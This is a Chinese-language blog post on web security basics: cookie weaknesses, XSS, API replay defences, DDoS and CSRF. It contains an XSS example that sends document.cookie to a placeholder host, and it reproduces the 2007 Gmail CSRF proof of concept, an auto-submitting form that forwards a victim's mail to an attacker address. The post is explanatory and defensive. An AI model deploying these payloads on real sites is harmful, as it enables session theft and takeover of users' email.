美文网首页
网络安全问题

网络安全问题

作者: Burlong | 来源:发表于2021-09-10 09:14 被阅读0次

    Cookie


    • cookie为何不安全?(篡改、劫持、作用域攻击)

    因为其存储在用户浏览器本地,一大别人利用抓包或脚本获取到cookie信息,可以利用其来伪装授权并获取用户信息。

    XSS攻击:

    XSS. Cross-Site Scripting(跨站脚本攻击)简称XSS,是一种代码注入攻击。 攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。 利用这些恶意脚本,攻击者可获取用户的敏感信息如Cookie、SessionID 等。

    攻击方式:1、诱导用户点击某些url,包含一些非法标签或脚本;2、黑客将利用服务器接口将代码存储到服务器,待用户访问到相关页面资源时就会执行恶意代码。

    XSS攻击示例:

    <script>document.location='<http://xxx.com/getCookie.php?cookie='+document.cookie;></script>
    
    
    • 如果一定要使用cookie,如何解决安全问题?

    1、cookie有效时间不易过长,且配合session使用,重要的数据不放cookie放在session中存储。

    2、设置HttpOnly属性为true,可以防止使用js脚本读取到cookie信息。(HttpOnly是包含在Set-Cookie HTTP响应头文件中的附加标志。生成cookie时使用HttpOnly标志有助于降低客户端脚本访问受保护cookie的风险,但需要浏览器支持)

    3、对k-v对中的v尽可能地设计一个比较复杂的值,并进行加密,比如:用户名+cookie有效时间+当前时间戳+随机数

    4、尽可能使用HTTPS,即tls证书,并为cookie设置Secure属性为true,它的意思是,cookie只能使用https协议发送给服务器

    API防重放机制


    概念

    笼统点来说,就是拿你的请求原封不动地再发送一次或N次。。

    问题

    1、如果请求涉及数据库插入操作,可能导致多条重复数据。

    2、如果是查询操作,而且比较慢的查询,那么可能打垮数据库。

    解决方案

    1、timestamp

    服务的约定只接受xx时间内请求,可以在header中增加timestamp-时间戳,每次请求服务器进行校验,超过约定时间认为重复请求。

    2、nonce

    同样约定一个有效时间,客户端对每个请求生成一个唯一标识,一般用UUID来做,服务器在接收到请求后进行校验,超过约定时间认为重放请求。

    PS:一般在网关做这一层校验

    问题:HTTPS是否可以防重放

    否。只能防止明文数据被抓取。

    DDOS(分布式拒绝服务攻击)


    先了解DOS:

    利用合理的服务请求来占用过多的服务资源,从而使服务器无法处理合法用户的指令。

    DDOS

    DDOS就是在DOS的基础上增加一些傀儡机(优先考虑离目标网络距离近的机器,因为经过路由器的跳数少,效果好。),发起更大规模的攻击,从而致使服务器接收不了正常的请求。

    CSRF(Cross-site request forgery)跨站请求伪造


    攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。

    常见流程如下:

    2007年Gmail的CSRF漏洞:小A在自己的邮箱中点开一个链接,结果所有邮件都被拦截并转发到别处。

    <form method="POST" action="<https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf>" enctype="multipart/form-data"> 
        <input type="hidden" name="cf2_emc" value="true"/> 
        <input type="hidden" name="cf2_email" value="hacker@hakermail.com"/> 
        .....
        <input type="hidden" name="irf" value="on"/> 
        <input type="hidden" name="nvp_bu_cftb" value="Create Filter"/> 
    </form> 
    <script> 
        document.forms[0].submit();
    </script>
    
    

    这个页面只要打开,就会向Gmail发送一个post请求。请求中,执行了“Create Filter”命令,将所有的邮件,转发到“hacker@hackermail.com”。 小A由于刚刚就登陆了Gmail,所以这个请求发送时,携带着小A的登录凭证(Cookie),Gmail的后台接收到请求,验证了确实有小A的登录凭证,于是成功给小明配置了过滤器。 黑客可以查看小A的所有邮件,包括邮件里的域名验证码等隐私信息。拿到验证码之后,黑客就可以要求域名服务商把域名重置给自己。

    相关文章

      网友评论

          本文标题:网络安全问题

          本文链接:https://www.haomeiwen.com/subject/pobiwltx.html